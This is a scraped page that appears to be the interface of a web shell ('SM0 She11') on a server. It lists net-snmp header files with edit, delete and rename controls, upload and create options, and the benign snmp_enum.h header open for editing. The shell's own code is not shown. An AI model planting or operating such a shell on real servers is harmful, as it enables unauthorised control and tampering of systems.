SM0 She11
Path:
/
/
usr
/
include
/
net-snmp
/
library
Full Path (server): /usr/include/net-snmp/library
Create Fil3
Upl04d Fil3
📄 README
[E]
[D]
[R]
📄 asn1.h
[E]
[D]
[R]
📄 callback.h
[E]
[D]
[R]
📄 cert_util.h
[E]
[D]
[R]
📄 check_varbind.h
[E]
[D]
[R]
📄 container.h
[E]
[D]
[R]
📄 container_binary_array.h
[E]
[D]
[R]
📄 container_iterator.h
[E]
[D]
[R]
📄 container_list_ssll.h
[E]
[D]
[R]
📄 container_null.h
[E]
[D]
[R]
📄 data_list.h
[E]
[D]
[R]
📄 default_store.h
[E]
[D]
[R]
📄 dir_utils.h
[E]
[D]
[R]
📄 factory.h
[E]
[D]
[R]
📄 fd_event_manager.h
[E]
[D]
[R]
📄 file_utils.h
[E]
[D]
[R]
📄 getopt.h
[E]
[D]
[R]
📄 int64.h
[E]
[D]
[R]
📄 keytools.h
[E]
[D]
[R]
📄 large_fd_set.h
[E]
[D]
[R]
📄 lcd_time.h
[E]
[D]
[R]
📄 md5.h
[E]
[D]
[R]
📄 mib.h
[E]
[D]
[R]
📄 mt_support.h
[E]
[D]
[R]
📄 oid.h
[E]
[D]
[R]
📄 oid_stash.h
[E]
[D]
[R]
📄 parse.h
[E]
[D]
[R]
📄 read_config.h
[E]
[D]
[R]
📄 scapi.h
[E]
[D]
[R]
📄 snmp-tc.h
[E]
[D]
[R]
📄 snmp.h
[E]
[D]
[R]
📄 snmpAliasDomain.h
[E]
[D]
[R]
📄 snmpCallbackDomain.h
[E]
[D]
[R]
📄 snmpDTLSUDPDomain.h
[E]
[D]
[R]
📄 snmpIPv4BaseDomain.h
[E]
[D]
[R]
📄 snmpIPv6BaseDomain.h
[E]
[D]
[R]
📄 snmpSocketBaseDomain.h
[E]
[D]
[R]
📄 snmpTCPBaseDomain.h
[E]
[D]
[R]
📄 snmpTCPDomain.h
[E]
[D]
[R]
📄 snmpTCPIPv6Domain.h
[E]
[D]
[R]
📄 snmpTLSBaseDomain.h
[E]
[D]
[R]
📄 snmpTLSTCPDomain.h
[E]
[D]
[R]
📄 snmpUDPBaseDomain.h
[E]
[D]
[R]
📄 snmpUDPDomain.h
[E]
[D]
[R]
📄 snmpUDPIPv4BaseDomain.h
[E]
[D]
[R]
📄 snmpUDPIPv6Domain.h
[E]
[D]
[R]
📄 snmpUnixDomain.h
[E]
[D]
[R]
📄 snmp_alarm.h
[E]
[D]
[R]
📄 snmp_api.h
[E]
[D]
[R]
📄 snmp_assert.h
[E]
[D]
[R]
📄 snmp_client.h
[E]
[D]
[R]
📄 snmp_debug.h
[E]
[D]
[R]
📄 snmp_enum.h
[E]
[D]
[R]
📄 snmp_impl.h
[E]
[D]
[R]
📄 snmp_logging.h
[E]
[D]
[R]
📄 snmp_parse_args.h
[E]
[D]
[R]
📄 snmp_secmod.h
[E]
[D]
[R]
📄 snmp_service.h
[E]
[D]
[R]
📄 snmp_transport.h
[E]
[D]
[R]
📄 snmptsm.h
[E]
[D]
[R]
📄 snmpusm.h
[E]
[D]
[R]
📄 snmpv3-security-includes.h
[E]
[D]
[R]
📄 snmpv3.h
[E]
[D]
[R]
📄 system.h
[E]
[D]
[R]
📄 text_utils.h
[E]
[D]
[R]
📄 tools.h
[E]
[D]
[R]
📄 transform_oids.h
[E]
[D]
[R]
📄 types.h
[E]
[D]
[R]
📄 ucd_compat.h
[E]
[D]
[R]
📄 vacm.h
[E]
[D]
[R]
📄 winpipe.h
[E]
[D]
[R]
📄 winservice.h
[E]
[D]
[R]
Editing: snmp_enum.h
#ifndef SNMP_ENUM_H #define SNMP_ENUM_H #ifdef __cplusplus extern "C" { #endif struct snmp_enum_list { struct snmp_enum_list *next; int value; char *label; }; #define SE_MAX_IDS 5 #define SE_MAX_SUBIDS 32 /* needs to be a multiple of 8 */ /* * begin storage definitions */ /* * These definitions correspond with the "storid" argument to the API */ #define SE_LIBRARY_ID 0 #define SE_MIB_ID 1 #define SE_APPLICATION_ID 2 #define SE_ASSIGNED_ID 3 /* * library specific enum locations */ /* * error codes */ #define SE_OK 0 #define SE_NOMEM 1 #define SE_ALREADY_THERE 2 #define SE_DNE -2 int init_snmp_enum(const char *type); struct snmp_enum_list *se_find_list(unsigned int major, unsigned int minor); struct snmp_enum_list *se_find_slist(const char *listname); int se_store_in_list(struct snmp_enum_list *, unsigned int major, unsigned int minor); int se_find_value(unsigned int major, unsigned int minor, const char *label); int se_find_free_value(unsigned int major, unsigned int minor); char *se_find_label(unsigned int major, unsigned int minor, int value); /** * Add the pair (label, value) to the list (major, minor). Transfers * ownership of the memory pointed to by label to the list: * clear_snmp_enum() deallocates that memory. */ int se_add_pair(unsigned int major, unsigned int minor, char *label, int value); /* * finds a list of enums in a list of enum structs associated by a name. */ /* * find a list, and then operate on that list * ( direct methods further below if you already have the list pointer) */ NETSNMP_IMPORT char *se_find_label_in_slist(const char *listname, int value); NETSNMP_IMPORT int se_find_value_in_slist(const char *listname, const char *label); int se_find_free_value_in_slist(const char *listname); /** * Add the pair (label, value) to the slist with name listname. Transfers * ownership of the memory pointed to by label to the list: * clear_snmp_enum() deallocates that memory. */ NETSNMP_IMPORT int se_add_pair_to_slist(const char *listname, char *label, int value); /* * operates directly on a possibly external list */ char *se_find_label_in_list(struct snmp_enum_list *list, int value); int se_find_value_in_list(struct snmp_enum_list *list, const char *label); int se_find_free_value_in_list(struct snmp_enum_list *list); int se_add_pair_to_list(struct snmp_enum_list **list, char *label, int value); /* * Persistent enumeration lists */ void se_store_enum_list(struct snmp_enum_list *new_list, const char *token, const char *type); void se_store_list(unsigned int major, unsigned int minor, const char *type); void se_clear_slist(const char *listname); void se_store_slist(const char *listname, const char *type); int se_store_slist_callback(int majorID, int minorID, void *serverargs, void *clientargs); void se_read_conf(const char *word, char *cptr); /** * Deallocate the memory allocated by init_snmp_enum(): remove all key/value * pairs stored by se_add_*() calls. */ NETSNMP_IMPORT void clear_snmp_enum(void); #ifdef __cplusplus } #endif #endif /* SNMP_ENUM_H */
Save